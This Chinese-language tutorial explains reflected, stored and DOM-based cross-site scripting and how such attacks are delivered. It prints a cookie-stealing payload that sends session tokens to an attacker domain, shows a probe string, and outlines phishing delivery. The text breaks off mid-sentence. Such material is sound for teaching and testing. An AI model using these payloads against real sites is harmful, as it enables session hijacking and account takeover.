XSS攻击
跨站点脚本(XSS)是Web应用程序中发现的最为普遍的漏洞,困扰着现在绝大多数的应用程序,包括因特网上一些最为注重安全的应用程序。XSS漏洞表现为各种形式,并且可分为3种类型:反射型、保存型和基于DOM的XSS漏洞。虽然这些漏洞具有一些相同的特点,但在如何确定及利用这些漏洞方面,仍然存在一些重要的差异。
反射型XSS漏洞
如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞。通常,该页面会使用一个包含消息文本的参数,并在响应中将这个文本返回给用户。由于利用这种漏洞需要设计一个包含嵌入式JavaScript代码的请求,随后这些代码又被反射到任何提出请求的用户,因此它被称作反射型XSS。攻击有效载荷分别通过一个单独的请求与响应进行传送和执行。为此,有时它也被称为一阶XSS。
利用漏洞
利用XSS漏洞攻击应用程序其他用户的方式有很多种。最简单的一种攻击,也是我们常用于说明XSS漏洞潜在影响的一种攻击,可导致攻击者接货通过验证的用户的会话令牌。劫持用户的会话后,攻击者就可以访问该用户经授权访问的所有数据和功能。
实施这种攻击的步骤如图所示。
用户正常登陆应用程序,得到一个包含会话令牌的cookie:
Set-Cookie: sessid=23123djksdah2132489021213
攻击者通过某种方法向用户提交以下URL:
http://mdsec.net/error/5/Error.ashx?message=
和前面生成一个对话框消息的示例一样,这个URL包含嵌入式JavaScript的代码。但是这个示例中的攻击有效载荷更加恶毒
用户从应用程序中请求攻击者传送给他们的URL
服务器响应用户的请求。由于应用程序中存在XSS漏洞,响应中包含攻击者创建的JavaScript代码
用户浏览器收到攻击者的JavaScript代码,像执行从应用程序收到的其他代码一样,浏览器执行这段代码
攻击者创建的恶意JavaScript代码为:
var i = new Image;i.src=”http://mdattacker.net/"+document.cookie;
这段代码可让用户浏览器向mdattacker.net(攻击者拥有的一个域)提出一个请求。请求中包含用户访问应用程序的当前会话令牌:
Get /sessId=23123djksdah2132489021213 HTTP/1.1
Host:mdattacker.net
攻击者监控访问mdattacker.net的请求并收到用户的请求。攻击者使用截获的令牌劫持用户的会话,从而访问该用户的个人信息,并“代表”该用户执行任意操作。
保存型XSS漏洞
另一种常见的XSS漏洞叫做保存型跨站点脚本。如果一名用户提交的数据被保存在应用程序中(通常保存在一个后端数据库中),然后不经适当过滤或净化就显示给其他用户,此时就会出现这种漏洞。
在支持中断用户交互的应用程序中,或者在具有管理权限的员工访问同一个应用程序中的用户记录和数据的应用程序中,保存型XSS漏洞很常见。
一般情况下,利用保存型XSS漏洞的攻击至少需要向应用程序提出两个要求。攻击者在第一个请求中传送一些专门设计的数据,其中包含恶意代码,应用程序接受并保存这些数据。在第二个请求中,一名受害者查看某个包含攻击者的数据的页面,这时恶意代码开始执行。为此,这种漏洞有时也叫做二阶跨站点脚本。
下图说明了一名攻击者如何利用保存型XSS漏洞,实施删除利用反射性XSS漏洞实施的相同会话劫持攻击。
反射型与保存型XSS攻击在实施步骤上存在两个重要的区别,这也使得后者往往造成更大的安全威胁。
首先,在反射型XSS脚本攻击中,要利用一个漏洞,攻击者必须以某种方式诱使受害者访问他专门设计的URL。而保存型XSS脚本攻击则没有这种要求。在应用程序中展开攻击后,攻击者只需要等待受害者浏览已被攻破的页面或功能。通常,这个页面是一个正常用户将会主动访问的常规页面。
其次,如果受害者在遭受攻击时正在使用应用程序,攻击者就更容易实现其XSS漏洞的目的。例如,如果当前正在进行会话,那么攻击者就可以劫持这个会话。在反射型XSS攻击中,攻击者可能会说服用户登录,然后单击它们提供的一个链接,从而制造这种情况。或者他可能会部署一个永久性的有效载荷并等待用户登录。因为攻击有效载荷被保存在用户自主访问的一个应用程序页面中,所以,当有效载荷执行时,任何攻击受害者都在使用应用程序。而且,如果上述页面位于应用程序通过验证的区域内,那么攻击受害者一定已经登录。
反射型与保存型XSS攻击之间的这些区别意味着保存型XSS漏洞往往会给应用程序带来更严重的安全威胁。许多时候,攻击者可以向应用程序提交一些专门设计的数据,然后等待受害者访问它们。如果其中一名受害者是管理员,那么攻击者就能够完全攻破整个应用程序。
基于DOM的XSS
反射型和保存型XSS漏洞都表现出一种特殊的行为模式,其中应用程序提取用户控制的数据并以危险的方式将这些数据返回给用户。第三类XSS漏洞并不具有这种特点。在这种漏洞中,攻击者的JavaScript通过以下过程得以执行。
- 用户请求一个经过专门设计的URL,它由攻击者提交,且其中包含嵌入式JavaScript
- 服务器的响应中并不一定任何形式包含攻击者的脚本
- 当用户的浏览器处理这个响应时,上述脚本得以处理。
由于客户端JavaScript可以访问浏览器的文本对象模型(Document Object Model, DOM),因此它能够决定用于加载当前页面的URL。由应用程序发布的一段脚本可以从URL中提取数据,对这些数据进行处理,然后用它动态更新页面的内容。如果这样,应用程序就可能易于受到基于DOM的XSS攻击。
回到前面的反射型XSS漏洞中的示例,其中服务器端应用程序讲一个URL参数值复制到一条错误消息中。另一种事项相同功能的办法是由应用程序每次返回相同的静态HTML,并使用客户端JavaScript动态生成消息内容。
例如,假设应用程序返回的错误页面包含以下脚本:
1 | <script> |
这段脚本解析URL,提取出message参数的值,并把这个值写入页面的HTML源代码中。如果按开发者预想的方式调用,它可以和前面的示例中一样,用于创建错误消息。但是,如果攻击者设计出一个URL,并以JavaScript代码作为message参数,那么这段代码将被动态写入页面中,并向服务器返回代码一样得以执行。在这个示例中,前面示例中利用反射型XSS漏洞的同一个URL也可用于生成一个对话框:
http://mdsec.net/error/18/Error.ashx?message=
利用基于DOM的XSS漏洞如下图所示
与保存型XSS漏洞相比,基于DOM的XSS漏洞与反射型XSS漏洞有更大的相似性。利用它们通常需要攻击者诱使一名用户访问一个包含恶意代码的专门设计的URL,并由服务器响应那个确保恶意代码得以执行的特殊请求。
XSS攻击的传送机制
确定一个XSS漏洞并设计出利用它的有效载荷后,攻击者需要找出办法向应用程序的其他用户传送攻击。
传送反射型与基于DOM的XSS攻击
除了通过电子邮件向随机用户发亮发送专门设计的URL这种明显的钓鱼向量外,攻击者还可以尝试使用以下机制传送反射型或基于DOM的XSS攻击。
在由针对性的攻击者,攻击者可以向个体目标用户或少数几名用户发送一封伪造的电子邮件。如果攻击者想要攻破某个特殊用户的会话(而非截取随机用户的会话),实施合理、可靠的针对性攻击往往是最有效的传送机制。有时,我们会把这类攻击称为“鱼叉式钓鱼”。
可以在即时消息中项目表用户提供一个URL。
第三方Web站点上的内容与代码可用于生成触发XSS漏洞的请求。各种常见的应用程序允许用户发布数量有限的HTML标记,这些标记将按原样向其他用户显示。如果可以使用GET方法触发XSS漏洞,攻击者就可以在第三方站点上发布一个指向某恶意URL的IMG标签,任何查看以上第三方内容的用户将在不知情的情况下请求该恶意URL。
或者,攻击者可以创建自己的Web站点,在其中包含诱使用户访问的有趣内容,但也可能含有一些脚本,导致用户的浏览器向易受攻击的应用程序提出包含XSS有效载荷的请求。如果某用户登录以上易受攻击的应用程序,并且碰巧浏览了攻击者的站点,该用户访问以上易受攻击的应用程序的会话将被攻破。
建立适当的Web站点后,攻击者可以使用搜索引擎操纵技巧生成某些用户提交的访问,例如,将相关关键字放入站点内容中并使用相关表达式将其链接到相关站点。但是,这种传送机制与钓鱼攻击无关,因为攻击者的站点并未试图模仿它所针对的站点。
注意,这种传送机制使得攻击者可利用只通过POST请求触发的反射型与基于dom的XSS漏洞。但是,利用这些漏洞,攻击者明显不能通过向受害用户发送一个简单的URL来传送依次攻击。然而,某个恶意Web站点可能包含一个HTML表单,它使用POST方法并以易受攻击的应用程序作为它的目标URL。其页面上的JavaScript或导航空间可用于提交表单,成功利用漏洞。
在另一种利用第三方Web站点的攻击中,一些攻击者付费购买许多链接至一个URL的横幅广告,该URL包含一个针对某易受攻击的应用程序的XSS有效载荷。
许多应用程序执行一种“推荐给朋友”或向站点管理员发送反馈的功能。
传送保存型XSS攻击
保存型XSS攻击共有两种传送机制:带内与带外传送机制。
带内传送机制适用于大多数情况,这时漏洞数据通过主Web界面提交给应用程序。用户控制的数据最终显示给其他用户的常见位置包含:
- 个人信息字段,如姓名、地址、电子邮件、电话等;
- 文档、上传文件及其他数据的名称;
- 提交给应用程序管理员的反馈或问题;
- 向其他应用程序用户传送的消息、注释、问题等;
- 记录在应用程序日志中,并通过浏览器显示给管理员的任何内容,如URL、用户名、HTTP Referer、User-Agent等;
- 在用户之间共享的上传文件内容。
在这些情况下,只需向应用程序页面提交XSS有效载荷,然后等待受害者查看恶意代码,就可以传送XSS有效载荷。
带外传送机制适用于通过其他渠道向应用程序提交漏洞数据情况。应用程序通过这种渠道接收数据,并最终在主Web界面生成的HTML页面中显示它。前面描述的针对Web邮件应用程序的攻击就是这种传送机制的典型示例。这种攻击像一个SMTP服务器传送恶意数据,并最终在一条HTML格式的电子邮件消息中向用户显示这些数据。
查找并利用XSS漏洞
确定XSS漏洞的基本方法是使用下面这个概念验证攻击字符串:
"><script>alert(document.cookie)</script>
这个字符串被提交给每个应用程序页面的每一个参数;同时,攻击者监控它的响应,看其中是否出现相同的字符串。如果发现攻击字符串按原样出现在响应中,几乎可以肯定应用存在XSS漏洞。
如果仅仅是为了尽可能地确定应用程序中存在某种XSS漏洞,以向其他应用程序用户实施攻击,那么这个基本方法可能使最为有效的方法,因为它可以实现高度自动化,而且很少生成错误警报。但是,如果是对应用程序进行复杂的测试,从而确定尽可能多的漏洞,那么在应用基本方法的同时,还需要组合使用更加复杂的技巧。在以下几种情况下,通过基本的检测方法可能无法确定应用程序中存在XSS漏洞。
许多应用程序实施基于黑名单的初步过滤,试图阻止XSS攻击。通常,这些过滤在请求参数中寻找